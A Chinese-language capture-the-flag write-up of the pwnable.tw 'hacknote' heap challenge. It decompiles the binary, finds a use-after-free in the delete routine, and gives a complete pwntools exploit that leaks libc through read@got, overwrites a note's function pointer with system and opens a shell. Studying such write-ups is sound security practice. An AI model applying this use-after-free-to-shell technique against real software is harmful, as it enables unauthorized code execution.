【堆的简单的uaf】pwnable.tw hacknote
hacknote题目地址
首先checksec 一下
运行一下程序看看程序的流程
一共是4个选项、一个是添加、一个是删除、一个是打印、然后退出
使用IDA打开 查看一下main 函数
void __cdecl __noreturn main() { int v0; // eax char buf; // [esp+8h] [ebp-10h] unsigned int v2; // [esp+Ch] [ebp-Ch] v2 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { menu(); read(0, &buf, 4u); v0 = atoi(&buf); if ( v0 != 2 ) break; Delete(); } if ( v0 > 2 ) { if ( v0 == 3 ) { print(); } else { if ( v0 == 4 ) exit(0); LABEL_13: puts("Invalid choice"); } } else { if ( v0 != 1 ) goto LABEL_13; add(); } } }
main 函数主要是一个while 循环。然后一直让你选择你需要执行那个选项 1-4
menu 函数就是打印内容
int sub_8048956() { puts("----------------------"); puts(" HackNote "); puts("----------------------"); puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit "); puts("----------------------"); return printf("Your choice :"); }
add 函数
unsigned int sub_8048646() { _DWORD *v0; // ebx signed int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf; // [esp+14h] [ebp-14h] unsigned int check; // [esp+1Ch] [ebp-Ch] check = __readgsdword(0x14u); if ( dword_804A04C <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !ptr[i] ) { ptr[i] = malloc(8u); if ( !ptr[i] ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)ptr[i] = puts_print; printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = ptr[i]; v0[1] = malloc(size); if ( !*((_DWORD *)ptr[i] + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)ptr[i] + 1), size); puts("Success !"); ++dword_804A04C; return __readgsdword(0x14u) ^ check; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ check; }
这里申请了两次内存。一次是固定的malloc(8) 然后一个是用户手动输入的一个长度的申请内存。
puts_print 函数
int __cdecl sub_804862B(int a1) { return puts(*(const char **)(a1 + 4)); }
Delete 函数
unsigned int sub_80487D4() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts("Out of bound!"); _exit(0); } if ( ptr[v1] ) { free(*((void **)ptr[v1] + 1)); free(ptr[v1]); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
这里就是让你输入某个选项然后删除free 某个值、这里需要注意的是、这里只是free 了。但是没有删除ptr 中的值、这里free 之后、ptr[0] 的内存指向还在。那么这里就存在uaf 漏洞。
print 函数
unsigned int sub_80488A5() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts("Out of bound!"); _exit(0); } if ( ptr[v1] ) (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); return __readgsdword(0x14u) ^ v3; }
这里就是输入0-4 有值就执行某个地址。并且把自己的地址当作参数传入到函数中。
利用的思路、可以先申请两个16字节或者32字节只要比8大就可以。然后free 掉、然后再申请一个8字节的长度的数据那么fast bin中的数据就可以控制了、
释放掉这0 和1 当时0 和1 的指针还是指向了这块内存,
那么我们在申请一个8字节的空间。
此刻这里可以修改ptr[0] 中的值、修改为puts_print 后面4字节改为read@glt 地址。
然后就可以使用printf 函数打印 puts_print(ptr[0])
这里就可以成功获取到read 的内存地址、然后如下:
from pwn import * p = process('./hacknote') elf = ELF('./hacknote') libc=ELF("/lib/i386-linux-gnu/libc.so.6") def add(size,content): p.recvuntil('choice :') p.sendline(b"1") p.recvuntil('size :') p.sendline(str(size)) p.recvuntil('Content :') p.sendline(content) def delete(index): p.recvuntil('choice :') p.sendline(b"2") p.recvuntil('Index :') p.sendline(str(index)) def print_index(index): p.recvuntil('choice :') p.sendline(b"3") p.recvuntil('Index :') p.sendline(str(index)) add(16, b'AAAA') add(16, b'AAAA') delete(0) delete(1) add(8, p32(0x0804862b) + p32(elf.got['read'])) print_index(0) libc_read = u32(p.recv(4)) print(hex(libc_read)) libc_base = libc_read - libc.symbols['read'] system = libc_base + libc.symbols['system'] pause()
确定一下read的地址是否正确
然后再释放第二个节点、就可以载入system地址进行执行代码了。
完整的利用流程
from pwn import * p = process('./hacknote') elf = ELF('./hacknote') libc=ELF("/lib/i386-linux-gnu/libc.so.6") def add(size,content): p.recvuntil('choice :') p.sendline(b"1") p.recvuntil('size :') p.sendline(str(size)) p.recvuntil('Content :') p.sendline(content) def delete(index): p.recvuntil('choice :') p.sendline(b"2") p.recvuntil('Index :') p.sendline(str(index)) def print_index(index): p.recvuntil('choice :') p.sendline(b"3") p.recvuntil('Index :') p.sendline(str(index)) add(16, b'AAAA') add(16, b'AAAA') delete(0) delete(1) add(8, p32(0x0804862b) + p32(elf.got['read'])) print_index(0) libc_puts = u32(p.recv(4)) libc_base = libc_puts - libc.symbols['read'] system = libc_base + libc.symbols['system'] print("system",system) delete(2) add(0x8, p32(system) + b'||sh') print_index(0) p.interactive()
Glibc内存管理详解